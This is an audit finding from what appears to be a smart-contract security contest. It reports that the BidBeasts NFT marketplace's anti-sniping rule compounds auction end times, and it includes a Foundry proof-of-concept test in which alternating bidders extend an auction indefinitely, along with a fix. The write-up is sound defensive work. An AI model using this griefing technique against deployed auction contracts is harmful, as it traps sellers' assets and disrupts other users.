Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Griefable “anti‑sniping” extension

Griefable “anti‑sniping” extension

Description

  • An anti‑sniping rule should ensure that when a bid arrives close to the deadline, the auction end time is pushed out to at least a fixed buffer (e.g., 15 minutes) from the moment of that bid, preventing last‑second snipes while not increasing the total auction duration unboundedly.

  • The implementation adds the extension on top of the prior end time rather than resetting it relative to the current timestamp. Each qualifying bid therefore compounds the end time (oldEnd + 15 minutes), increasing time remaining by timeLeft + 15 minutes instead of setting it to exactly 15 minutes. An attacker can alternate two addresses to keep placing qualifying bids whenever timeLeft < 15 minutes, pushing the auction out indefinitely with minimal locked capital (only the current highest bid is locked at any time due to immediate refund of the previous highest bidder).

// BidBeastsNFTMarket.placeBid(...)
} else {
// ...
uint256 timeLeft = 0;
if (listing.auctionEnd > block.timestamp) {
timeLeft = listing.auctionEnd - block.timestamp;
}
if (timeLeft < S_AUCTION_EXTENSION_DURATION) {
@> listing.auctionEnd = listing.auctionEnd + S_AUCTION_EXTENSION_DURATION; // ❌ compounds end time
emit AuctionExtended(tokenId, listing.auctionEnd);
}
}

Risk

Likelihood:

  • This occurs whenever bids arrive with timeLeft < 15 minutes, which is common near auction close, making compounding extensions easy to trigger repeatedly.

  • The attacker can alternate between two addresses (avoiding Already highest bidder) so only one bid’s value is locked at any time; the previous bid is immediately refunded, keeping the griefing capital‑efficient.

Impact:

  • Denial of Service on finalization: the auction can be kept open for hours or days beyond expectations, trapping the seller’s NFT and other bidders’ attention/resources.

  • Operational and UX degradation: escalated gas costs, prolonged monitoring, and distorted price discovery due to artificial time inflation.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "forge-std/Test.sol";
import "../src/BidBeasts_NFT_ERC721.sol";
import "../src/BidBeastsNFTMarketPlace.sol";
contract AntiSnipingGriefTest is Test {
BidBeasts nft;
BidBeastsNFTMarket market;
address seller = address(0xA11CE);
address bidderA = address(0xA);
address bidderB = address(0xB);
uint256 constant EXT = 15 minutes; // mirrors S_AUCTION_EXTENSION_DURATION
uint256 tokenId;
function setUp() public {
// Deploy NFT & Marketplace
nft = new BidBeasts();
market = new BidBeastsNFTMarket(address(nft));
tokenId = nft.mint(seller);
// Seller approves & lists with min price = 0.01 ether
vm.startPrank(seller);
nft.approve(address(market), tokenId);
market.listNFT(tokenId, 0.01 ether, 0); // buy-now disabled
vm.stopPrank();
// Fund bidders
vm.deal(bidderA, 100 ether);
vm.deal(bidderB, 100 ether);
}
function test_ExtensionCompounds_Griefable() public {
// --- First bid (starts the timer) ---
vm.prank(bidderA);
market.placeBid{value: 0.02 ether}(tokenId); // > min price
uint256 end1 = market.getListing(tokenId).auctionEnd;
// Move close to the end so timeLeft < EXT, but not past it
vm.warp(end1 - 1 minutes);
// --- Second bid (from a different address) triggers extension ---
uint256 bBid = (0.02 ether / 100) * 105; // contract's increment formula
uint256 beforeEnd = market.getListing(tokenId).auctionEnd; // equals end1
vm.prank(bidderB);
market.placeBid{value: bBid}(tokenId);
uint256 end2 = market.getListing(tokenId).auctionEnd;
// Current code composes: newEnd = oldEnd + EXT (not now + EXT)
assertEq(end2, beforeEnd + EXT, "extension compounded from previous end");
// --- Repeat: alternate bidders and always bid when timeLeft < EXT ---
uint256 prevEnd = end2;
uint256 currentBid = bBid;
for (uint256 i = 0; i < 3; i++) {
// Warp so timeLeft < EXT again
vm.warp(prevEnd - 1 minutes);
// Next bid uses the contract's increment rule
currentBid = (currentBid / 100) * 105;
address who = (i % 2 == 0) ? bidderA : bidderB;
vm.prank(who);
market.placeBid{value: currentBid}(tokenId);
uint256 newEnd = market.getListing(tokenId).auctionEnd;
// Each qualifying bid adds another +EXT on top of the *old* end
assertEq(newEnd, prevEnd + EXT, "compounding extension -> griefable growth");
prevEnd = newEnd;
}
// Result: auctionEnd has been pushed out by ~4 * 15 minutes total,
// achieved with only one bid's value locked at a time (A and B alternate).
}
}

Recommended Mitigation

- if (timeLeft < S_AUCTION_EXTENSION_DURATION) {
- listing.auctionEnd = listing.auctionEnd + S_AUCTION_EXTENSION_DURATION;
- emit AuctionExtended(tokenId, listing.auctionEnd);
- }
+ if (timeLeft < S_AUCTION_EXTENSION_DURATION) {
+ // Ensure at least one full extension window from *now*.
+ listing.auctionEnd = block.timestamp + S_AUCTION_EXTENSION_DURATION;
+ emit AuctionExtended(tokenId, listing.auctionEnd);
+ }
+ // (Optional hard cap)
+ // if (listing.auctionEnd > listingStart + S_MAX_AUCTION_DURATION) {
+ // listing.auctionEnd = listingStart + S_MAX_AUCTION_DURATION;
+ // }
Updates

Lead Judging Commences

cryptoghost Lead Judge 23 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Auction Duration Miscalculation

BidBeast marketplace contains a flaw in its auction timing mechanism. This causes the contract to miscalculate the actual end time of an auction, resulting in auctions that either conclude prematurely or run longer than specified.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.